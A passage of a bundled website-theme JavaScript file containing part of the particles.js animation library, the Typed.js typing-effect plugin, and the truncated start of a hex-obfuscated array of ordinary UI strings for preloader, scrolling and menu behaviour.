3417 else if(pJS.interactivity.events.onclick.enable && isInArray('repulse', pJS.interactivity.events.onclick.mode)) {
3418
3419 if(!pJS.tmp.repulse_finish){
3420 pJS.tmp.repulse_count++;
3421 if(pJS.tmp.repulse_count == pJS.particles.array.length){
3422 pJS.tmp.repulse_finish = true;
3423 }
3424 }
3425
3426 if(pJS.tmp.repulse_clicking){
3427
3428 var repulseRadius = Math.pow(pJS.interactivity.modes.repulse.distance/6, 3);
3429
3430 var dx = pJS.interactivity.mouse.click_pos_x - p.x,
3431 dy = pJS.interactivity.mouse.click_pos_y - p.y,
3432 d = dx*dx + dy*dy;
3433
3434 var force = -repulseRadius / d * 1;
3435
3436 function process(){
3437
3438 var f = Math.atan2(dy,dx);
3439 p.vx = force * Math.cos(f);
3440 p.vy = force * Math.sin(f);
3441
3442 if(pJS.particles.move.out_mode == 'bounce'){
3443 var pos = {
3444 x: p.x + p.vx,
3445 y: p.y + p.vy
3446 }
3447 if (pos.x + p.radius > pJS.canvas.w) p.vx = -p.vx;
3448 else if (pos.x - p.radius < 0) p.vx = -p.vx;
3449 if (pos.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
3450 else if (pos.y - p.radius < 0) p.vy = -p.vy;
3451 }
3452
3453 }
3454
3455 // default
3456 if(d <= repulseRadius){
3457 process();
3458 }
3459
3460 // bang - slow motion mode
3461 // if(!pJS.tmp.repulse_finish){
3462 // if(d <= repulseRadius){
3463 // process();
3464 // }
3465 // }else{
3466 // process();
3467 // }
3468
3469
3470 }else{
3471
3472 if(pJS.tmp.repulse_clicking == false){
3473
3474 p.vx = p.vx_i;
3475 p.vy = p.vy_i;
3476
3477 }
3478
3479 }
3480
3481 }
3482
3483 }
3484
3485
3486 pJS.fn.modes.grabParticle = function(p){
3487
3488 if(pJS.interactivity.events.onhover.enable && pJS.interactivity.status == 'mousemove'){
3489
3490 var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
3491 dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
3492 dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse);
3493
3494 /* draw a line between the cursor and the particle if the distance between them is under the config distance */
3495 if(dist_mouse <= pJS.interactivity.modes.grab.distance){
3496
3497 var opacity_line = pJS.interactivity.modes.grab.line_linked.opacity - (dist_mouse / (1/pJS.interactivity.modes.grab.line_linked.opacity)) / pJS.interactivity.modes.grab.distance;
3498
3499 if(opacity_line > 0){
3500
3501 /* style */
3502 var color_line = pJS.particles.line_linked.color_rgb_line;
3503 pJS.canvas.ctx.strokeStyle = 'rgba('+color_line.r+','+color_line.g+','+color_line.b+','+opacity_line+')';
3504 pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
3505 //pJS.canvas.ctx.lineCap = 'round'; /* performance issue */
3506
3507 /* path */
3508 pJS.canvas.ctx.beginPath();
3509 pJS.canvas.ctx.moveTo(p.x, p.y);
3510 pJS.canvas.ctx.lineTo(pJS.interactivity.mouse.pos_x, pJS.interactivity.mouse.pos_y);
3511 pJS.canvas.ctx.stroke();
3512 pJS.canvas.ctx.closePath();
3513
3514 }
3515
3516 }
3517
3518 }
3519
3520 };
3521
3522
3523
3524 /* ---------- pJS functions - vendors ------------ */
3525
3526 pJS.fn.vendors.eventsListeners = function(){
3527
3528 /* events target element */
3529 if(pJS.interactivity.detect_on == 'window'){
3530 pJS.interactivity.el = window;
3531 }else{
3532 pJS.interactivity.el = pJS.canvas.el;
3533 }
3534
3535
3536 /* detect mouse pos - on hover / click event */
3537 if(pJS.interactivity.events.onhover.enable || pJS.interactivity.events.onclick.enable){
3538
3539 /* el on mousemove */
3540 pJS.interactivity.el.addEventListener('mousemove', function(e){
3541
3542 if(pJS.interactivity.el == window){
3543 var pos_x = e.clientX,
3544 pos_y = e.clientY;
3545 }
3546 else{
3547 var pos_x = e.offsetX || e.clientX,
3548 pos_y = e.offsetY || e.clientY;
3549 }
3550
3551 pJS.interactivity.mouse.pos_x = pos_x;
3552 pJS.interactivity.mouse.pos_y = pos_y;
3553
3554 if(pJS.tmp.retina){
3555 pJS.interactivity.mouse.pos_x *= pJS.canvas.pxratio;
3556 pJS.interactivity.mouse.pos_y *= pJS.canvas.pxratio;
3557 }
3558
3559 pJS.interactivity.status = 'mousemove';
3560
3561 });
3562
3563 /* el on onmouseleave */
3564 pJS.interactivity.el.addEventListener('mouseleave', function(e){
3565
3566 pJS.interactivity.mouse.pos_x = null;
3567 pJS.interactivity.mouse.pos_y = null;
3568 pJS.interactivity.status = 'mouseleave';
3569
3570 });
3571
3572 }
3573
3574 /* on click event */
3575 if(pJS.interactivity.events.onclick.enable){
3576
3577 pJS.interactivity.el.addEventListener('click', function(){
3578
3579 pJS.interactivity.mouse.click_pos_x = pJS.interactivity.mouse.pos_x;
3580 pJS.interactivity.mouse.click_pos_y = pJS.interactivity.mouse.pos_y;
3581 pJS.interactivity.mouse.click_time = new Date().getTime();
3582
3583 if(pJS.interactivity.events.onclick.enable){
3584
3585 switch(pJS.interactivity.events.onclick.mode){
3586
3587 case 'push':
3588 if(pJS.particles.move.enable){
3589 pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse);
3590 }else{
3591 if(pJS.interactivity.modes.push.particles_nb == 1){
3592 pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse);
3593 }
3594 else if(pJS.interactivity.modes.push.particles_nb > 1){
3595 pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb);
3596 }
3597 }
3598 break;
3599
3600 case 'remove':
3601 pJS.fn.modes.removeParticles(pJS.interactivity.modes.remove.particles_nb);
3602 break;
3603
3604 case 'bubble':
3605 pJS.tmp.bubble_clicking = true;
3606 break;
3607
3608 case 'repulse':
3609 pJS.tmp.repulse_clicking = true;
3610 pJS.tmp.repulse_count = 0;
3611 pJS.tmp.repulse_finish = false;
3612 setTimeout(function(){
3613 pJS.tmp.repulse_clicking = false;
3614 }, pJS.interactivity.modes.repulse.duration*1000)
3615 break;
3616
3617 }
3618
3619 }
3620
3621 });
3622
3623 }
3624
3625
3626 };
3627
3628 pJS.fn.vendors.densityAutoParticles = function(){
3629
3630 if(pJS.particles.number.density.enable){
3631
3632 /* calc area */
3633 var area = pJS.canvas.el.width * pJS.canvas.el.height / 1000;
3634 if(pJS.tmp.retina){
3635 area = area/(pJS.canvas.pxratio*2);
3636 }
3637
3638 /* calc number of particles based on density area */
3639 var nb_particles = area * pJS.particles.number.value / pJS.particles.number.density.value_area;
3640
3641 /* add or remove X particles */
3642 var missing_particles = pJS.particles.array.length - nb_particles;
3643 if(missing_particles < 0) pJS.fn.modes.pushParticles(Math.abs(missing_particles));
3644 else pJS.fn.modes.removeParticles(missing_particles);
3645
3646 }
3647
3648 };
3649
3650
3651 pJS.fn.vendors.checkOverlap = function(p1, position){
3652 for(var i = 0; i < pJS.particles.array.length; i++){
3653 var p2 = pJS.particles.array[i];
3654
3655 var dx = p1.x - p2.x,
3656 dy = p1.y - p2.y,
3657 dist = Math.sqrt(dx*dx + dy*dy);
3658
3659 if(dist <= p1.radius + p2.radius){
3660 p1.x = position ? position.x : Math.random() * pJS.canvas.w;
3661 p1.y = position ? position.y : Math.random() * pJS.canvas.h;
3662 pJS.fn.vendors.checkOverlap(p1);
3663 }
3664 }
3665 };
3666
3667
3668 pJS.fn.vendors.createSvgImg = function(p){
3669
3670 /* set color to svg element */
3671 var svgXml = pJS.tmp.source_svg,
3672 rgbHex = /#([0-9A-F]{3,6})/gi,
3673 coloredSvgXml = svgXml.replace(rgbHex, function (m, r, g, b) {
3674 if(p.color.rgb){
3675 var color_value = 'rgba('+p.color.rgb.r+','+p.color.rgb.g+','+p.color.rgb.b+','+p.opacity+')';
3676 }else{
3677 var color_value = 'hsla('+p.color.hsl.h+','+p.color.hsl.s+'%,'+p.color.hsl.l+'%,'+p.opacity+')';
3678 }
3679 return color_value;
3680 });
3681
3682 /* prepare to create img with colored svg */
3683 var svg = new Blob([coloredSvgXml], {type: 'image/svg+xml;charset=utf-8'}),
3684 DOMURL = window.URL || window.webkitURL || window,
3685 url = DOMURL.createObjectURL(svg);
3686
3687 /* create particle img obj */
3688 var img = new Image();
3689 img.addEventListener('load', function(){
3690 p.img.obj = img;
3691 p.img.loaded = true;
3692 DOMURL.revokeObjectURL(url);
3693 pJS.tmp.count_svg++;
3694 });
3695 img.src = url;
3696
3697 };
3698
3699
3700 pJS.fn.vendors.destroypJS = function(){
3701 cancelAnimationFrame(pJS.fn.drawAnimFrame);
3702 canvas_el.remove();
3703 pJSDom = null;
3704 };
3705
3706
3707 pJS.fn.vendors.drawShape = function(c, startX, startY, sideLength, sideCountNumerator, sideCountDenominator){
3708
3709 // By Programming Thomas - https://programmingthomas.wordpress.com/2013/04/03/n-sided-shapes/
3710 var sideCount = sideCountNumerator * sideCountDenominator;
3711 var decimalSides = sideCountNumerator / sideCountDenominator;
3712 var interiorAngleDegrees = (180 * (decimalSides - 2)) / decimalSides;
3713 var interiorAngle = Math.PI - Math.PI * interiorAngleDegrees / 180; // convert to radians
3714 c.save();
3715 c.beginPath();
3716 c.translate(startX, startY);
3717 c.moveTo(0,0);
3718 for (var i = 0; i < sideCount; i++) {
3719 c.lineTo(sideLength,0);
3720 c.translate(sideLength,0);
3721 c.rotate(interiorAngle);
3722 }
3723 //c.stroke();
3724 c.fill();
3725 c.restore();
3726
3727 };
3728
3729 pJS.fn.vendors.exportImg = function(){
3730 window.open(pJS.canvas.el.toDataURL('image/png'), '_blank');
3731 };
3732
3733
3734 pJS.fn.vendors.loadImg = function(type){
3735
3736 pJS.tmp.img_error = undefined;
3737
3738 if(pJS.particles.shape.image.src != ''){
3739
3740 if(type == 'svg'){
3741
3742 var xhr = new XMLHttpRequest();
3743 xhr.open('GET', pJS.particles.shape.image.src);
3744 xhr.onreadystatechange = function (data) {
3745 if(xhr.readyState == 4){
3746 if(xhr.status == 200){
3747 pJS.tmp.source_svg = data.currentTarget.response;
3748 pJS.fn.vendors.checkBeforeDraw();
3749 }else{
3750 console.log('Error pJS - Image not found');
3751 pJS.tmp.img_error = true;
3752 }
3753 }
3754 }
3755 xhr.send();
3756
3757 }else{
3758
3759 var img = new Image();
3760 img.addEventListener('load', function(){
3761 pJS.tmp.img_obj = img;
3762 pJS.fn.vendors.checkBeforeDraw();
3763 });
3764 img.src = pJS.particles.shape.image.src;
3765
3766 }
3767
3768 }else{
3769 console.log('Error pJS - No image.src');
3770 pJS.tmp.img_error = true;
3771 }
3772
3773 };
3774
3775
3776 pJS.fn.vendors.draw = function(){
3777
3778 if(pJS.particles.shape.type == 'image'){
3779
3780 if(pJS.tmp.img_type == 'svg'){
3781
3782 if(pJS.tmp.count_svg >= pJS.particles.number.value){
3783 pJS.fn.particlesDraw();
3784 if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
3785 else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw);
3786 }else{
3787 //console.log('still loading...');
3788 if(!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw);
3789 }
3790
3791 }else{
3792
3793 if(pJS.tmp.img_obj != undefined){
3794 pJS.fn.particlesDraw();
3795 if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
3796 else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw);
3797 }else{
3798 if(!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw);
3799 }
3800
3801 }
3802
3803 }else{
3804 pJS.fn.particlesDraw();
3805 if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
3806 else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw);
3807 }
3808
3809 };
3810
3811
3812 pJS.fn.vendors.checkBeforeDraw = function(){
3813
3814 // if shape is image
3815 if(pJS.particles.shape.type == 'image'){
3816
3817 if(pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg == undefined){
3818 pJS.tmp.checkAnimFrame = requestAnimFrame(check);
3819 }else{
3820 //console.log('images loaded! cancel check');
3821 cancelRequestAnimFrame(pJS.tmp.checkAnimFrame);
3822 if(!pJS.tmp.img_error){
3823 pJS.fn.vendors.init();
3824 pJS.fn.vendors.draw();
3825 }
3826
3827 }
3828
3829 }else{
3830 pJS.fn.vendors.init();
3831 pJS.fn.vendors.draw();
3832 }
3833
3834 };
3835
3836
3837 pJS.fn.vendors.init = function(){
3838
3839 /* init canvas + particles */
3840 pJS.fn.retinaInit();
3841 pJS.fn.canvasInit();
3842 pJS.fn.canvasSize();
3843 pJS.fn.canvasPaint();
3844 pJS.fn.particlesCreate();
3845 pJS.fn.vendors.densityAutoParticles();
3846
3847 /* particles.line_linked - convert hex colors to rgb */
3848 pJS.particles.line_linked.color_rgb_line = hexToRgb(pJS.particles.line_linked.color);
3849
3850 };
3851
3852
3853 pJS.fn.vendors.start = function(){
3854
3855 if(isInArray('image', pJS.particles.shape.type)){
3856 pJS.tmp.img_type = pJS.particles.shape.image.src.substr(pJS.particles.shape.image.src.length - 3);
3857 pJS.fn.vendors.loadImg(pJS.tmp.img_type);
3858 }else{
3859 pJS.fn.vendors.checkBeforeDraw();
3860 }
3861
3862 };
3863
3864
3865
3866
3867 /* ---------- pJS - start ------------ */
3868
3869
3870 pJS.fn.vendors.eventsListeners();
3871
3872 pJS.fn.vendors.start();
3873
3874
3875
3876};
3877
3878/* ---------- global functions - vendors ------------ */
3879
3880Object.deepExtend = function(destination, source) {
3881 for (var property in source) {
3882 if (source[property] && source[property].constructor &&
3883 source[property].constructor === Object) {
3884 destination[property] = destination[property] || {};
3885 arguments.callee(destination[property], source[property]);
3886 } else {
3887 destination[property] = source[property];
3888 }
3889 }
3890 return destination;
3891};
3892
3893window.requestAnimFrame = (function(){
3894 return window.requestAnimationFrame ||
3895 window.webkitRequestAnimationFrame ||
3896 window.mozRequestAnimationFrame ||
3897 window.oRequestAnimationFrame ||
3898 window.msRequestAnimationFrame ||
3899 function(callback){
3900 window.setTimeout(callback, 1000 / 60);
3901 };
3902})();
3903
3904window.cancelRequestAnimFrame = ( function() {
3905 return window.cancelAnimationFrame ||
3906 window.webkitCancelRequestAnimationFrame ||
3907 window.mozCancelRequestAnimationFrame ||
3908 window.oCancelRequestAnimationFrame ||
3909 window.msCancelRequestAnimationFrame ||
3910 clearTimeout
3911} )();
3912
3913function hexToRgb(hex){
3914 // By Tim Down - http://stackoverflow.com/a/5624139/3493650
3915 // Expand shorthand form (e.g. "03F") to full form (e.g. "0033FF")
3916 var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
3917 hex = hex.replace(shorthandRegex, function(m, r, g, b) {
3918 return r + r + g + g + b + b;
3919 });
3920 var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
3921 return result ? {
3922 r: parseInt(result[1], 16),
3923 g: parseInt(result[2], 16),
3924 b: parseInt(result[3], 16)
3925 } : null;
3926};
3927
3928function clamp(number, min, max) {
3929 return Math.min(Math.max(number, min), max);
3930};
3931
3932function isInArray(value, array) {
3933 return array.indexOf(value) > -1;
3934}
3935
3936
3937/* ---------- particles.js functions - start ------------ */
3938
3939window.pJSDom = [];
3940
3941window.particlesJS = function(tag_id, params){
3942
3943 //console.log(params);
3944
3945 /* no string id? so it's object params, and set the id with default id */
3946 if(typeof(tag_id) != 'string'){
3947 params = tag_id;
3948 tag_id = 'particles-js';
3949 }
3950
3951 /* no id? set the id to default id */
3952 if(!tag_id){
3953 tag_id = 'particles-js';
3954 }
3955
3956 /* pJS elements */
3957 var pJS_tag = document.getElementById(tag_id),
3958 pJS_canvas_class = 'particles-js-canvas-el',
3959 exist_canvas = pJS_tag.getElementsByClassName(pJS_canvas_class);
3960
3961 /* remove canvas if exists into the pJS target tag */
3962 if(exist_canvas.length){
3963 while(exist_canvas.length > 0){
3964 pJS_tag.removeChild(exist_canvas[0]);
3965 }
3966 }
3967
3968 /* create canvas element */
3969 var canvas_el = document.createElement('canvas');
3970 canvas_el.className = pJS_canvas_class;
3971
3972 /* set size canvas */
3973 canvas_el.style.width = "100%";
3974 canvas_el.style.height = "100%";
3975
3976 /* append canvas */
3977 var canvas = document.getElementById(tag_id).appendChild(canvas_el);
3978
3979 /* launch particle.js */
3980 if(canvas != null){
3981 pJSDom.push(new pJS(tag_id, params));
3982 }
3983
3984};
3985
3986window.particlesJS.load = function(tag_id, path_config_json, callback){
3987
3988 /* load json config */
3989 var xhr = new XMLHttpRequest();
3990 xhr.open('GET', path_config_json);
3991 xhr.onreadystatechange = function (data) {
3992 if(xhr.readyState == 4){
3993 if(xhr.status == 200){
3994 var params = JSON.parse(data.currentTarget.response);
3995 window.particlesJS(tag_id, params);
3996 if(callback) callback();
3997 }else{
3998 console.log('Error pJS - XMLHttpRequest status: '+xhr.status);
3999 console.log('Error pJS - File config not found');
4000 }
4001 }
4002 };
4003 xhr.send();
4004
4005};
4006
4007// The MIT License (MIT)
4008
4009// Typed.js | Copyright (c) 2014 Matt Boldt | www.mattboldt.com
4010
4011// Permission is hereby granted, free of charge, to any person obtaining a copy
4012// of this software and associated documentation files (the "Software"), to deal
4013// in the Software without restriction, including without limitation the rights
4014// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
4015// copies of the Software, and to permit persons to whom the Software is
4016// furnished to do so, subject to the following conditions:
4017
4018// The above copyright notice and this permission notice shall be included in
4019// all copies or substantial portions of the Software.
4020
4021// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
4022// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
4023// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
4024// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
4025// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
4026// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
4027// THE SOFTWARE.
4028
4029
4030
4031
4032! function($) {
4033
4034 "use strict";
4035
4036 var Typed = function(el, options) {
4037
4038 // chosen element to manipulate text
4039 this.el = $(el);
4040
4041 // options
4042 this.options = $.extend({}, $.fn.typed.defaults, options);
4043
4044 // attribute to type into
4045 this.isInput = this.el.is('input');
4046 this.attr = this.options.attr;
4047
4048 // show cursor
4049 this.showCursor = this.isInput ? false : this.options.showCursor;
4050
4051 // text content of element
4052 this.elContent = this.attr ? this.el.attr(this.attr) : this.el.text()
4053
4054 // html or plain text
4055 this.contentType = this.options.contentType;
4056
4057 // typing speed
4058 this.typeSpeed = this.options.typeSpeed;
4059
4060 // add a delay before typing starts
4061 this.startDelay = this.options.startDelay;
4062
4063 // backspacing speed
4064 this.backSpeed = this.options.backSpeed;
4065
4066 // amount of time to wait before backspacing
4067 this.backDelay = this.options.backDelay;
4068
4069 // div containing strings
4070 this.stringsElement = this.options.stringsElement;
4071
4072 // input strings of text
4073 this.strings = this.options.strings;
4074
4075 // character number position of current string
4076 this.strPos = 0;
4077
4078 // current array position
4079 this.arrayPos = 0;
4080
4081 // number to stop backspacing on.
4082 // default 0, can change depending on how many chars
4083 // you want to remove at the time
4084 this.stopNum = 0;
4085
4086 // Looping logic
4087 this.loop = this.options.loop;
4088 this.loopCount = this.options.loopCount;
4089 this.curLoop = 0;
4090
4091 // for stopping
4092 this.stop = false;
4093
4094 // custom cursor
4095 this.cursorChar = this.options.cursorChar;
4096
4097 // shuffle the strings
4098 this.shuffle = this.options.shuffle;
4099 // the order of strings
4100 this.sequence = [];
4101
4102 // All systems go!
4103 this.build();
4104 };
4105
4106 Typed.prototype = {
4107
4108 constructor: Typed
4109
4110 ,
4111 init: function() {
4112 // begin the loop w/ first current string (global self.strings)
4113 // current string will be passed as an argument each time after this
4114 var self = this;
4115 self.timeout = setTimeout(function() {
4116 for (var i=0;i<self.strings.length;++i) self.sequence[i]=i;
4117
4118 // shuffle the array if true
4119 if(self.shuffle) self.sequence = self.shuffleArray(self.sequence);
4120
4121 // Start typing
4122 self.typewrite(self.strings[self.sequence[self.arrayPos]], self.strPos);
4123 }, self.startDelay);
4124 }
4125
4126 ,
4127 build: function() {
4128 var self = this;
4129 // Insert cursor
4130 if (this.showCursor === true) {
4131 this.cursor = $("<span class=\"typed-cursor\">" + this.cursorChar + "</span>");
4132 this.el.after(this.cursor);
4133 }
4134 if (this.stringsElement) {
4135 self.strings = [];
4136 this.stringsElement.hide();
4137 var strings = this.stringsElement.find('p');
4138 $.each(strings, function(key, value){
4139 self.strings.push($(value).html());
4140 });
4141 }
4142 this.init();
4143 }
4144
4145 // pass current string state to each function, types 1 char per call
4146 ,
4147 typewrite: function(curString, curStrPos) {
4148 // exit when stopped
4149 if (this.stop === true) {
4150 return;
4151 }
4152
4153 // varying values for setTimeout during typing
4154 // can't be global since number changes each time loop is executed
4155 var humanize = Math.round(Math.random() * (100 - 30)) + this.typeSpeed;
4156 var self = this;
4157
4158 // ------------- optional ------------- //
4159 // backpaces a certain string faster
4160 // ------------------------------------ //
4161 // if (self.arrayPos == 1){
4162 // self.backDelay = 50;
4163 // }
4164 // else{ self.backDelay = 500; }
4165
4166 // contain typing function in a timeout humanize'd delay
4167 self.timeout = setTimeout(function() {
4168 // check for an escape character before a pause value
4169 // format: \^\d+ .. eg: ^1000 .. should be able to print the ^ too using ^^
4170 // single ^ are removed from string
4171 var charPause = 0;
4172 var substr = curString.substr(curStrPos);
4173 if (substr.charAt(0) === '^') {
4174 var skip = 1; // skip atleast 1
4175 if (/^\^\d+/.test(substr)) {
4176 substr = /\d+/.exec(substr)[0];
4177 skip += substr.length;
4178 charPause = parseInt(substr);
4179 }
4180
4181 // strip out the escape character and pause value so they're not printed
4182 curString = curString.substring(0, curStrPos) + curString.substring(curStrPos + skip);
4183 }
4184
4185 if (self.contentType === 'html') {
4186 // skip over html tags while typing
4187 var curChar = curString.substr(curStrPos).charAt(0)
4188 if (curChar === '<' || curChar === '&') {
4189 var tag = '';
4190 var endTag = '';
4191 if (curChar === '<') {
4192 endTag = '>'
4193 } else {
4194 endTag = ';'
4195 }
4196 while (curString.substr(curStrPos).charAt(0) !== endTag) {
4197 tag += curString.substr(curStrPos).charAt(0);
4198 curStrPos++;
4199 }
4200 curStrPos++;
4201 tag += endTag;
4202 }
4203 }
4204
4205 // timeout for any pause after a character
4206 self.timeout = setTimeout(function() {
4207 if (curStrPos === curString.length) {
4208 // fires callback function
4209 self.options.onStringTyped(self.arrayPos);
4210
4211 // is this the final string
4212 if (self.arrayPos === self.strings.length - 1) {
4213 // animation that occurs on the last typed string
4214 self.options.callback();
4215
4216 self.curLoop++;
4217
4218 // quit if we wont loop back
4219 if (self.loop === false || self.curLoop === self.loopCount)
4220 return;
4221 }
4222
4223 self.timeout = setTimeout(function() {
4224 self.backspace(curString, curStrPos);
4225 }, self.backDelay);
4226 } else {
4227
4228 /* call before functions if applicable */
4229 if (curStrPos === 0)
4230 self.options.preStringTyped(self.arrayPos);
4231
4232 // start typing each new char into existing string
4233 // curString: arg, self.el.html: original text inside element
4234 var nextString = curString.substr(0, curStrPos + 1);
4235 if (self.attr) {
4236 self.el.attr(self.attr, nextString);
4237 } else {
4238 if (self.isInput) {
4239 self.el.val(nextString);
4240 } else if (self.contentType === 'html') {
4241 self.el.html(nextString);
4242 } else {
4243 self.el.text(nextString);
4244 }
4245 }
4246
4247 // add characters one by one
4248 curStrPos++;
4249 // loop the function
4250 self.typewrite(curString, curStrPos);
4251 }
4252 // end of character pause
4253 }, charPause);
4254
4255 // humanized value for typing
4256 }, humanize);
4257
4258 }
4259
4260 ,
4261 backspace: function(curString, curStrPos) {
4262 // exit when stopped
4263 if (this.stop === true) {
4264 return;
4265 }
4266
4267 // varying values for setTimeout during typing
4268 // can't be global since number changes each time loop is executed
4269 var humanize = Math.round(Math.random() * (100 - 30)) + this.backSpeed;
4270 var self = this;
4271
4272 self.timeout = setTimeout(function() {
4273
4274 // ----- this part is optional ----- //
4275 // check string array position
4276 // on the first string, only delete one word
4277 // the stopNum actually represents the amount of chars to
4278 // keep in the current string. In my case it's 14.
4279 // if (self.arrayPos == 1){
4280 // self.stopNum = 14;
4281 // }
4282 //every other time, delete the whole typed string
4283 // else{
4284 // self.stopNum = 0;
4285 // }
4286
4287 if (self.contentType === 'html') {
4288 // skip over html tags while backspacing
4289 if (curString.substr(curStrPos).charAt(0) === '>') {
4290 var tag = '';
4291 while (curString.substr(curStrPos).charAt(0) !== '<') {
4292 tag -= curString.substr(curStrPos).charAt(0);
4293 curStrPos--;
4294 }
4295 curStrPos--;
4296 tag += '<';
4297 }
4298 }
4299
4300 // ----- continue important stuff ----- //
4301 // replace text with base text + typed characters
4302 var nextString = curString.substr(0, curStrPos);
4303 if (self.attr) {
4304 self.el.attr(self.attr, nextString);
4305 } else {
4306 if (self.isInput) {
4307 self.el.val(nextString);
4308 } else if (self.contentType === 'html') {
4309 self.el.html(nextString);
4310 } else {
4311 self.el.text(nextString);
4312 }
4313 }
4314
4315 // if the number (id of character in current string) is
4316 // less than the stop number, keep going
4317 if (curStrPos > self.stopNum) {
4318 // subtract characters one by one
4319 curStrPos--;
4320 // loop the function
4321 self.backspace(curString, curStrPos);
4322 }
4323 // if the stop number has been reached, increase
4324 // array position to next string
4325 else if (curStrPos <= self.stopNum) {
4326 self.arrayPos++;
4327
4328 if (self.arrayPos === self.strings.length) {
4329 self.arrayPos = 0;
4330
4331 // Shuffle sequence again
4332 if(self.shuffle) self.sequence = self.shuffleArray(self.sequence);
4333
4334 self.init();
4335 } else
4336 self.typewrite(self.strings[self.sequence[self.arrayPos]], curStrPos);
4337 }
4338
4339 // humanized value for typing
4340 }, humanize);
4341
4342 }
4343 /**
4344 * Shuffles the numbers in the given array.
4345 * @param {Array} array
4346 * @returns {Array}
4347 */
4348 ,shuffleArray: function(array) {
4349 var tmp, current, top = array.length;
4350 if(top) while(--top) {
4351 current = Math.floor(Math.random() * (top + 1));
4352 tmp = array[current];
4353 array[current] = array[top];
4354 array[top] = tmp;
4355 }
4356 return array;
4357 }
4358
4359 // Start & Stop currently not working
4360
4361 // , stop: function() {
4362 // var self = this;
4363
4364 // self.stop = true;
4365 // clearInterval(self.timeout);
4366 // }
4367
4368 // , start: function() {
4369 // var self = this;
4370 // if(self.stop === false)
4371 // return;
4372
4373 // this.stop = false;
4374 // this.init();
4375 // }
4376
4377 // Reset and rebuild the element
4378 ,
4379 reset: function() {
4380 var self = this;
4381 clearInterval(self.timeout);
4382 var id = this.el.attr('id');
4383 this.el.after('<span id="' + id + '"/>')
4384 this.el.remove();
4385 if (typeof this.cursor !== 'undefined') {
4386 this.cursor.remove();
4387 }
4388 // Send the callback
4389 self.options.resetCallback();
4390 }
4391
4392 };
4393
4394 $.fn.typed = function(option) {
4395 return this.each(function() {
4396 var $this = $(this),
4397 data = $this.data('typed'),
4398 options = typeof option == 'object' && option;
4399 if (!data) $this.data('typed', (data = new Typed(this, options)));
4400 if (typeof option == 'string') data[option]();
4401 });
4402 };
4403
4404 $.fn.typed.defaults = {
4405 strings: ["These are the default values...", "You know what you should do?", "Use your own!", "Have a great day!"],
4406 stringsElement: null,
4407 // typing speed
4408 typeSpeed: 0,
4409 // time before typing starts
4410 startDelay: 0,
4411 // backspacing speed
4412 backSpeed: 0,
4413 // shuffle the strings
4414 shuffle: false,
4415 // time before backspacing
4416 backDelay: 500,
4417 // loop
4418 loop: false,
4419 // false = infinite
4420 loopCount: false,
4421 // show cursor
4422 showCursor: true,
4423 // character for cursor
4424 cursorChar: "|",
4425 // attribute to type (null == text)
4426 attr: null,
4427 // either html or text
4428 contentType: 'html',
4429 // call when done callback function
4430 callback: function() {},
4431 // starting callback function before each string
4432 preStringTyped: function() {},
4433 //callback for every typed string
4434 onStringTyped: function() {},
4435 // callback for reset
4436 resetCallback: function() {}
4437 };
4438
4439
4440}(window.jQuery);
4441
4442
4443var _0x91f2=["\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x6C\x6F\x61\x64","\x66\x61\x64\x65\x4F\x75\x74","\x2E\x70\x72\x65\x6C\x6F\x61\x64\x65\x72","\x72\x65\x61\x64\x79","\x61\x64\x64\x43\x6C\x61\x73\x73","\x62\x6F\x64\x79","\x2E\x70\x72\x65\x6C\x6F\x61\x64\x65\x72\x20\x2E\x73\x70\x69\x6E\x6E\x65\x72","\x6F\x6E","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x73\x73","\x2E\x73\x65\x63\x74\x69\x6F\x6E\x2E\x73\x74\x61\x72\x74\x65\x64","\x2E\x74\x79\x70\x69\x6E\x67\x2D\x74\x69\x74\x6C\x65","\x74\x79\x70\x65\x64","\x2E\x74\x79\x70\x65\x64\x2D\x74\x69\x74\x6C\x65","\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70","\x66\x69\x6C\x6C\x65\x64","\x68\x65\x61\x64\x65\x72","\x72\x65\x6D\x6F\x76\x65\x43\x6C\x61\x73\x73","\x73\x63\x72\x6F\x6C\x6C","\x6C\x65\x6E\x67\x74\x68","\x63\x6C\x69\x63\x6B","\x68\x72\x65\x66","\x61\x74\x74\x72","\x74\x6F\x70","\x6F\x66\x66\x73\x65\x74","\x61\x6E\x69\x6D\x61\x74\x65","\x62\x6F\x64\x79\x2C\x68\x74\x6D\x6C","\x2E\x74\x6F\x70\x2D\x6D\x65\x6E\x75\x20\x75\x6C\x